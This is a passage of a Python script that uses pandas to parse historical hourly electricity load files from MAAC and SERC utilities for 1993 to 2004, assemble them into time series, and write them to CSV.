skipfooter=1) maac = { 963 : { 1993 : maac93[maac93[0].str.contains('AE')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('AE')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('AE')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('AE')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='ACE_LOAD').iloc[:, 1:25].values.ravel() }, 1167 : { 1993 : maac93[maac93[0].str.contains('BC')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('BC')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('BC')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('BC')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='BC_LOAD').iloc[:, 1:25].values.ravel() }, 5027 : { 1993 : maac93[maac93[0].str.contains('DP')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('DP')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('DP')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('DP')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='DPL_LOAD').iloc[:366, 1:25].values.ravel() }, 7088 : { 1993 : maac93[maac93[0].str.contains('PU')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PU')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PU')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PU')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='GPU_LOAD').iloc[:366, 1:25].values.ravel() }, 14715 : { 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PN_LOAD').iloc[:366, 1:25].values.ravel() }, 14940 : { 1993 : maac93[maac93[0].str.contains('PE$')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PE$')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PE$')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PE$')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PE_Load').iloc[:366, 1:25].values.ravel() }, 15270 : { 1993 : maac93[maac93[0].str.contains('PEP')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PEP')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PEP')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PEP')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PEP_LOAD').iloc[:366, 1:25].values.ravel() }, 15477 : { 1993 : maac93[maac93[0].str.contains('PS')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PS')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PS')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PS')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PS_Load').iloc[:366, 1:25].values.ravel() }, 14725 : { 1993 : maac93[maac93[0].str.contains('PJM')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PJM')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PJM')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PJM')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PJM_LOAD').iloc[:366, 1:25].values.ravel(), 1998 : pd.read_csv('%s/maac/1998/PJM98' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 1999 : pd.read_excel('%s/maac/1999/PJM99' % (fulldir), header=None)[2].values, 2000 : pd.read_excel('%s/maac/2000/PJM00' % (fulldir), header=None)[2].values } } if not os.path.exists('./maac'): os.mkdir('maac') for k in maac.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(maac[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(maac[k][i]))) for i in maac[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./maac/%s.csv' % k) ###### SERC # AEC: 189 # CPL: 3046 # CEPC: 40218 # CEPB: 3408 # MEMP: 12293 # DUKE: 5416 # FPWC: 6235 * # FLINT: 6411 # GUC: 7639 # LCEC: 10857 # NPL: 13204 # OPC: 13994 # SCEG: 17539 # SCPS: 17543 # SMEA: 17568 # TVA: 18642 # VIEP: 19876 # WEMC: 20065 # DU: 4958 # AECI: 924 # ODEC-D: 402290 # ODEC-V: 402291 # ODEC: 40229 # SOCO-APCO: 195 # SOCO-GPCO: 7140 # SOCO-GUCO: 7801 # SOCO-MPCO: 12686 # SOCO-SECO: 16687 *? serc = { 189 : { 1993 : pd.read_csv('%s/serc/1993/AEC93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_csv('%s/serc/1994/AEC94' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1995 : pd.read_csv('%s/serc/1995/AEC95' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/serc/1996/AEC96' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/serc/1997/AEC97' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/serc/1998/AEC98' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1999 : pd.read_csv('%s/serc/1999/AEC99' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=3).iloc[:, 1:].values.ravel(), 2000 : pd.read_csv('%s/serc/2000/AEC00' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(), 2001 : pd.read_csv('%s/serc/2001/AEC01' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/serc/2002/AEC02' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=4).iloc[:, 1:].values.ravel(), 2004 : pd.read_csv('%s/serc/2004/AEC04' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=4).iloc[:, 1:].values.ravel() }, 3046 : { 1994 : pd.read_csv('%s/serc/1994/CPL94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 1995 : pd.read_csv('%s/serc/1995/CPL95' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=5)[1].values, 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/CEPL96' % (fulldir)).readlines()[1:]])[2].astype(float).values, 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/CPL97' % (fulldir)).readlines()[1:]])[2].astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/CPL98' % (fulldir)).readlines()[1:]])[2].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/CPL99' % (fulldir)).readlines()[1:]])[2].astype(float).values, 2000 : pd.read_excel('%s/serc/2000/CPL00' % (fulldir))['Load'].values, 2001 : pd.read_excel('%s/serc/2001/CPL01' % (fulldir))['Load'].values, 2002 : pd.read_excel('%s/serc/2002/CPL02' % (fulldir))['Load'].values, 2003 : pd.read_excel('%s/serc/2003/CPL03' % (fulldir))['Load'].values, 2004 : pd.read_excel('%s/serc/2004/CPL04' % (fulldir))['Load'].values }, 40218 : { 1993 : pd.read_fwf('%s/serc/1993/CEPC93' % (fulldir), header=None).iloc[:, 1:-1].values.ravel(), 1994 : pd.read_csv('%s/serc/1994/CEPC94' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=1).iloc[:, 1:-1].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_csv('%s/serc/1995/CEPC95' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:-1].replace('.', '0').astype(float).values.ravel(), 1996 : (pd.read_fwf('%s/serc/1996/CEPC96' % (fulldir)).iloc[:-1, 1:]/1000).values.ravel(), 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/CEPC97' % (fulldir)).readlines()[5:]]).iloc[:-1, 1:].astype(float)/1000).values.ravel(), 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/CEPC98' % (fulldir)).readlines()]).iloc[:, 1:].astype(float)).values.ravel(), 2000 : pd.read_excel('%s/serc/2000/CEPC00' % (fulldir), sheetname=1, skiprows=3)['MW'].values, 2001 : pd.read_excel('%s/serc/2001/CEPC01' % (fulldir), sheetname=1, skiprows=3)['MW'].values, 2002 : pd.read_excel('%s/serc/2002/CEPC02' % (fulldir), sheetname=0, skiprows=5)['MW'].values, 2002 : pd.read_excel('%s/serc/2002/CEPC02' % (fulldir), sheetname=0, skiprows=5)['MW'].values }, 3408 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/CEPB93' % (fulldir)).readlines()[12:]])[1].astype(float)/1000).values, 1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/CEPB94' % (fulldir)).readlines()[10:]])[1].astype(float)).values, 1995 : (pd.DataFrame([i.split() for i in open('%s/serc/1995/CEPB95' % (fulldir)).readlines()[6:]])[2].astype(float)).values, 1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/CEPB96' % (fulldir)).readlines()[10:]])[2].astype(float)).values, 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/CEPB97' % (fulldir)).readlines()[9:]])[2].astype(float)).values, 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/CEPB98' % (fulldir)).readlines()[9:]])[2].astype(float)).values, 1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/CEPB99' % (fulldir)).readlines()[8:]])[2].astype(float)).values, 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/CEPB00' % (fulldir)).readlines()[11:]])[2].astype(float)).values, 2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/CEPB01' % (fulldir)).readlines()[8:]])[2].astype(float)).values, 2002 : (pd.DataFrame([i.split() for i in open('%s/serc/2002/CEPB02' % (fulldir)).readlines()[6:]])[4].astype(float)).values, 2003 : (pd.DataFrame([i.split() for i in open('%s/serc/2003/CEPB03' % (fulldir)).readlines()[6:]])[2].astype(float)).values }, 12293 : { 2000 : (pd.read_csv('%s/serc/2000/MEMP00' % (fulldir)).iloc[:, -1]/1000).values, 2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/MEMP01' % (fulldir)).readlines()[1:]])[3].str.replace(',', '').astype(float)/1000).values, 2002 : (pd.read_csv('%s/serc/2002/MEMP02' % (fulldir), sep='\t').iloc[:, -1].str.replace(',', '').astype(float)/1000).values, 2003 : pd.read_csv('%s/serc/2003/MEMP03' % (fulldir)).iloc[:, -1].str.replace(',', '').astype(float).values }, 5416 : { 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/DUKE99' % (fulldir)).readlines()[4:]])[2].astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/DUKE00' % (fulldir)).readlines()[5:]])[2].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/DUKE01' % (fulldir)).readlines()[5:]])[2].astype(float).values, 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/DUKE02' % (fulldir)).readlines()[5:]])[2].astype(float).values, 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/DUKE03' % (fulldir)).readlines()[5:-8]])[2].astype(float).values, 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/DUKE04' % (fulldir)).readlines()[5:]])[2].astype(float).values }, 6411 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/FLINT93' % (fulldir)).readlines()])[6].astype(float)/1000).values, 1994 : ((pd.DataFrame([i.split() for i in open('%s/serc/1994/FLINT94' % (fulldir)).readlines()[:-1]])).iloc[:, -1].astype(float)/1000).values, 1995 : ((pd.DataFrame([i.split() for i in open('%s/serc/1995/FLINT95' % (fulldir)).readlines()[1:]]))[3].astype(float)/1000).values, 1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/FLINT96' % (fulldir)).readlines()[3:-2]]))[2].astype(float).values, 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/FLINT97' % (fulldir)).readlines()[6:]]))[3].astype(float).values, 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/FLINT98' % (fulldir)).readlines()[4:]]))[2].astype(float).values, 1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/FLINT99' % (fulldir)).readlines()[1:]]))[1].astype(float).values, 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/FLINT00' % (fulldir)).readlines()[2:]]))[4].astype(float).values }, 7639 : { 1993 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1993', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1993', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1994 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1994', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1994', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1995 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1995', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1995', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1996 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1996', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1996', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1997 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1997', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1997', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1998 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1998', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1998', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1999 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1999', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1999', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 2000 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='2000', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='2000', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, }, 10857 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/LCEC93' % (fulldir)).readlines()[:-1]]).iloc[:, 3:].astype(float).values.ravel(), 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/LCEC94' % (fulldir)).readlines()[:-1]]).iloc[:, 3:].astype(float).values.ravel() }, 13204 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/NPL93' % (fulldir)).readlines()[6:]])[2].astype(float).values, 1994 : pd.read_fwf('%s/serc/1994/NPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 13994 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/OPC93' % (fulldir)).readlines()[4:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1995 : pd.DataFrame([i.split() for i in open('%s/serc/1995/OPC95' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/OPC96' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/OPC97' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/OPC98' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/OPC99' % (fulldir)).readlines()[18:]])[2].astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/OPC00' % (fulldir)).readlines()[19:]])[2].astype(float).values }, 17539 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/SCEG93' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1995 : pd.DataFrame([i.split() for i in open('%s/serc/1995/SCEG95' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/SCEG96' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/SCEG97' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SCEG98' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SCEG99' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SCEG00' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/SCEG01' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values }, 17543 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/SCPS93' % (fulldir)).readlines()[:]]).iloc[:, 1:].astype(float).values.ravel(), 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/SCPS96' % (fulldir)).readlines()[:-1]]).astype(float).values.ravel(), 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/SCPS97' % (fulldir)).readlines()[1:-3]]).iloc[:, 4:-1].astype(float).values.ravel(), 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SCPS98' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].replace('NA', '0').astype(float).values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SCPS99' % (fulldir)).readlines()[1:-1]]).iloc[:, 2:-1].replace('NA', '0').astype(float).values.ravel(), 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SCPS00' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(), 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/SCPS01' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(), 2002 : pd.read_excel('%s/serc/2002/SCPS02' % (fulldir), header=None).dropna(axis=1, how='all').iloc[:, 2:-1].values.ravel(), 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/SCPS03' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(), 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/SCPS04' % (fulldir)).readlines()[1:]]).iloc[:, 1:-1].replace('NA', '0').astype(float).values.ravel() }, 17568 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/SMEA93' % (fulldir)).readlines()[5:]])[2].astype(float)/1000).values.ravel(), 1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/SMEA94' % (fulldir)).readlines()[5:]]).iloc[:, -1].astype(float)).values, 1996 : ((pd.DataFrame([i.split() for i in open('%s/serc/1996/SMEA96' % (fulldir)).readlines()[:]])).iloc[:, -24:].astype(float)/1000).values.ravel(), 1997 : pd.read_excel('%s/serc/1997/SMEA97' % (fulldir), sheetname=1, header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SMEA98' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SMEA99' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(), 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SMEA00' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(), 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/SMEA02' % (fulldir)).readlines()[2:]])[2].astype(float).values.ravel(), 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/SMEA03' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel() }, 18642 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/TVA93' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/TVA94' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1995 : (pd.DataFrame([i.split() for i in open('%s/serc/1995/TVA95' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/TVA96' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/TVA97' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/TVA98' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/TVA99' % (fulldir)).iloc[:, 2].astype(float).values, 2000 : pd.read_excel('%s/serc/2000/TVA00' % (fulldir)).iloc[:, 2].astype(float).values, 2001 : pd.read_excel('%s/serc/2001/TVA01' % (fulldir), header=None, skiprows=3).iloc[:, 2].astype(float).values, 2003 : pd.read_excel('%s/serc/2003/TVA03' % (fulldir)).iloc[:, -1].values }, 19876 : { 1993 : pd.read_fwf('%s/serc/1993/VIEP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/serc/1994/VIEP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/serc/1995/VIEP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/serc/1996/VIEP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/serc/1997/VIEP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/serc/1998/VIEP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/serc/1999/VIEP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/VIEP00' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(), 2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/VIEP01' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(), 2002 : (pd.DataFrame([i.split() for i in open('%s/serc/2002/VIEP02' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(), 2003 : (pd.DataFrame([i.split() for i in open('%s/serc/2003/VIEP03' % (fulldir)).readlines()[2:]])[3].astype(float)).values.ravel(), 2004 : (pd.DataFrame([i.split() for i in open('%s/serc/2004/VIEP04' % (fulldir)).readlines()[:]])[3].astype(float)).values.ravel() }, 20065 : { 1993 : pd.read_fwf('%s/serc/1993/WEMC93' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1995 : (pd.read_csv('%s/serc/1995/WEMC95' % (fulldir), skiprows=1, header=None, sep=' ', skipinitialspace=True)[3]/1000).values, 1996 : (pd.read_excel('%s/serc/1996/WEMC96' % (fulldir))['Load']/1000).values, 1997 : pd.read_excel('%s/serc/1997/WEMC97' % (fulldir), skiprows=4)['MW'].values, 1998 : pd.concat([pd.read_excel('%s/serc/1998/WEMC98' % (fulldir), sheetname=i).iloc[:, -1] for i in range(12)]).values, 1999 : pd.read_excel('%s/serc/1999/WEMC99' % (fulldir))['mwh'].values, 2000 : (pd.read_excel('%s/serc/2000/WEMC00' % (fulldir)).iloc[:, -1]/1000).values, 2001 : (pd.read_excel('%s/serc/2001/WEMC01' % (fulldir), header=None)[0]/1000).values }, 4958 : { 1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/DU99' % (fulldir)).readlines()[1:]]).iloc[:-1, 2:].apply(lambda x: x.str.replace('[,"]', '').str.strip()).astype(float)/1000).values.ravel(), 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/DU00' % (fulldir)).readlines()[1:]]).iloc[:-1, 2:].apply(lambda x: x.str.replace('[,"]', '').str.strip()).astype(float)/1000).values.ravel(), 2003 : pd.read_excel('%s/serc/2003/DU03' % (fulldir)).iloc[:, -1].values }, 924 : { 1999 : pd.read_excel('%s/serc/1999/AECI99' % (fulldir))['CALoad'].values, 2001 : pd.read_excel('%s/serc/2001/AECI01' % (fulldir)).iloc[:, -1].values, 2002 : pd.Series(pd.read_excel('%s/serc/2002/AECI02' % (fulldir), skiprows=3).loc[:, 'Jan':'Dec'].values.ravel(order='F')).dropna().values }, 402290 : { 1996 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1996/ODECD96' % (fulldir)).readlines()[3:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1997 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1997/ODECD97' % (fulldir)).readlines()[4:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1998 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1998/ODECD98' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1999 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1999/ODECD99' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/ODECD00' % (fulldir)).readlines()[3:]])[4].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/ODECD01' % (fulldir)).readlines()[3:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/ODECD02' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/ODECD03' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/ODECD04' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values }, 402291 : { 1996 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1996/ODECV96' % (fulldir)).readlines()[3:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1997 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1997/ODECV97' % (fulldir)).readlines()[4:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1998 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1998/ODECV98' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1999 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1999/ODECV99' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/ODECV00' % (fulldir)).readlines()[3:]])[4].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/ODECV01' % (fulldir)).readlines()[3:]])[4].dropna().str.replace('[N/A]', '').replace('', '0').astype(float).values, 2002 